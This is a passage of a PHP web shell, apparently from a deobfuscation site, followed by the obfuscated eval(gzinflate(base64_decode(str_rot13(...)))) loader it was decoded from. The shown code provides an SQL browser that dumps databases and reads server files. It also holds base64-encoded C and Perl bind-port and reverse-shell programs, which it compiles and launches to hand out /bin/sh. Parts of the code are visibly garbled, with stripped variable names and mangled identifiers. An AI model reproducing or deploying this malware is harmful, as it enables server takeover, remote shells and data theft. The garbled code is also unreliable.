.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
echo '</div>';
hardFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_fdgwe3'))
return @mysql_set_fdgwe3($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table hard2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$i = 0;
$head = true;
while($ = $this->fetch()) {
$sql = '';
if($i % 1000 == 0) {
$head = true;
$sql = ";
";
}
$columns = array();
foreach($ as $k=>$v) {
if($v === null)
$[$k] = "NULL";
elseif(is_int($v))
$[$k] = $v;
else
$[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $).')';
$head = false;
} else
$sql .= "
,(".implode(", ", $).')';
if($fp) fwrite($fp, $sql); else echo($sql);
$i++;
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($ = $this->fetch()) {
$columns = array();
foreach($ as $k=>$v) {
$[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if((@$_POST['ymterdf']=='download') && (@$_POST['hbtrtr']!='select')) {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['fdgwe3']) {
case "Windows-1251": $db->setCharset('chbtrtr251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['ymterdf']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
hardHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=hbtrtr value='query'><input type=hidden name=ymterdf value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=fdgwe3 value='". (isset($_POST['fdgwe3'])?$_POST['fdgwe3']:'') ."'>
<td><label><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></label></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['fdgwe3']) {
case "Windows-1251": $db->setCharset('chbtrtr251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<label><select name=sql_base><option value=''></option>";
while($ = $db->fetch()) {
list($key, $value) = each($);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select></label>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='submit' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.hbtrtr) f.hbtrtr.value='';
if(f.ymterdf) f.ymterdf.value='';
if(f.hnythfdfds) f.hnythfdfds.value='';
}
}
function st(t,l) {
d.sf.hbtrtr.value = 'select';
d.sf.ymterdf.value = t;
if(l && d.sf.hnythfdfds) d.sf.hnythfdfds.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($ = $db->fetch($tbls_res)) {
list($key, $value) = each($);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.ymterdf.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['hbtrtr'] == 'select') {
$_POST['hbtrtr'] = 'query';
$_POST['hnythfdfds'] = $_POST['hnythfdfds']?$_POST['hnythfdfds']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['ymterdf']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['ymterdf'] . "\", d.sf.hnythfdfds.value)}</script><span>".$_POST['ymterdf']."</span> ({$num['n']} records) Page # <input type=text name='hnythfdfds' value=" . ((int)$_POST['hnythfdfds']) . ">";
echo " of $pages";
if($_POST['hnythfdfds'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['ymterdf'] . '", ' . ($_POST['hnythfdfds']-1) . ")'>< Prev</a>";
if($_POST['hnythfdfds'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['ymterdf'] . '", ' . ($_POST['hnythfdfds']+1) . ")'>Next ></a>";
$_POST['hnythfdfds']--;
if($_POST['type']=='pgsql')
$_POST['ymterdf'] = 'SELECT * FROM '.$_POST['ymterdf'].' LIMIT 30 OFFSET '.($_POST['hnythfdfds']*30);
else
$_POST['ymterdf'] = 'SELECT * FROM `'.$_POST['ymterdf'].'` LIMIT '.($_POST['hnythfdfds']*30).',30';
echo "<br><br>";
}
if((@$_POST['hbtrtr'] == 'query') && !empty($_POST['ymterdf'])) {
$db->query(@$_POST['ymterdf']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
$line = 1;
while($ = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($ as $key => $value)
echo '<th>'.$key.'</th>';
reset($);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($ as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.hbtrtr.value=\"query\";d.sf.ymterdf.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['ymterdf']) && ($_POST['hbtrtr'] != 'loadfile'))
echo htmlspecialchars($_POST['ymterdf']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.hbtrtr.value=\"loadfile\";document.sf.ymterdf.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
}
if(@$_POST['hbtrtr'] == 'loadfile') {
$file = $db->loadFile($_POST['ymterdf']);
echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
hardFooter();
}
function actionNetwork() {
hardHeader();
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQhbtrtrc2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQhbtrtrc2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQhnythfdfdsaGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
<span>Bind port to /bin/sh</span><br/>
Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
</form>
<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
<span>Back-connect to</span><br/>
Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
</form><br>";
if(isset($_POST['hbtrtr'])) {
function cf($f,$t) {
$w=@fopen($f,"w") or @function_exists('file_put_contents');
if($w) {
@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
@fclose($w);
}
}
if($_POST['hbtrtr'] == 'bpc') {
cf("/tmp/bp.c",$bind_port_c);
$ = ex("gcc -o /tmp/bp /tmp/bp.c");
@unlink("/tmp/bp.c");
$ .= ex("/tmp/bp ".$_POST['ymterdf']." ".$_POST['hnythfdfds']." &");
echo "<pre class=ml1>$".ex("ps aux | grep bp")."</pre>";
}
if($_POST['hbtrtr'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$ = ex(which("perl")." /tmp/bp.pl ".$_POST['ymterdf']." &");
echo "<pre class=ml1>$".ex("ps aux | grep bp.pl")."</pre>";
}
if($_POST['hbtrtr'] == 'bcc') {
cf("/tmp/bc.c",$back_connect_c);
$ = ex("gcc -o /tmp/bc /tmp/bc.c");
@unlink("/tmp/bc.c");
$ .= ex("/tmp/bc ".$_POST['ymterdf']." ".$_POST['hnythfdfds']." &");
echo "<pre class=ml1>$".ex("ps aux | grep bc")."</pre>";
}
if($_POST['hbtrtr'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$ = ex(which("perl")." /tmp/bc.pl ".$_POST['ymterdf']." ".$_POST['hnythfdfds']." &");
echo "<pre class=ml1>$".ex("ps aux | grep bc.pl")."</pre>";
}
}
echo '</div>';
hardFooter();
}
if( empty($_POST['a']) )
if(isset($) && function_exists('action' . $))
$_POST['a'] = $;
else
$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
?>
Did this file decode correctly?
Original Code
<?php $ghjytjytjytj = "\163\164\x72\x5f\162\x6f\164" . "13"; $gergfdh = "\147\x7a\151\x6e\x66\x6c\141\164\x65"; $fdbrebf = "\142\x61\x73\14564\x5f\x64\x65\143o\144\145";
eval($gergfdh($fdbrebf($ghjytjytjytj("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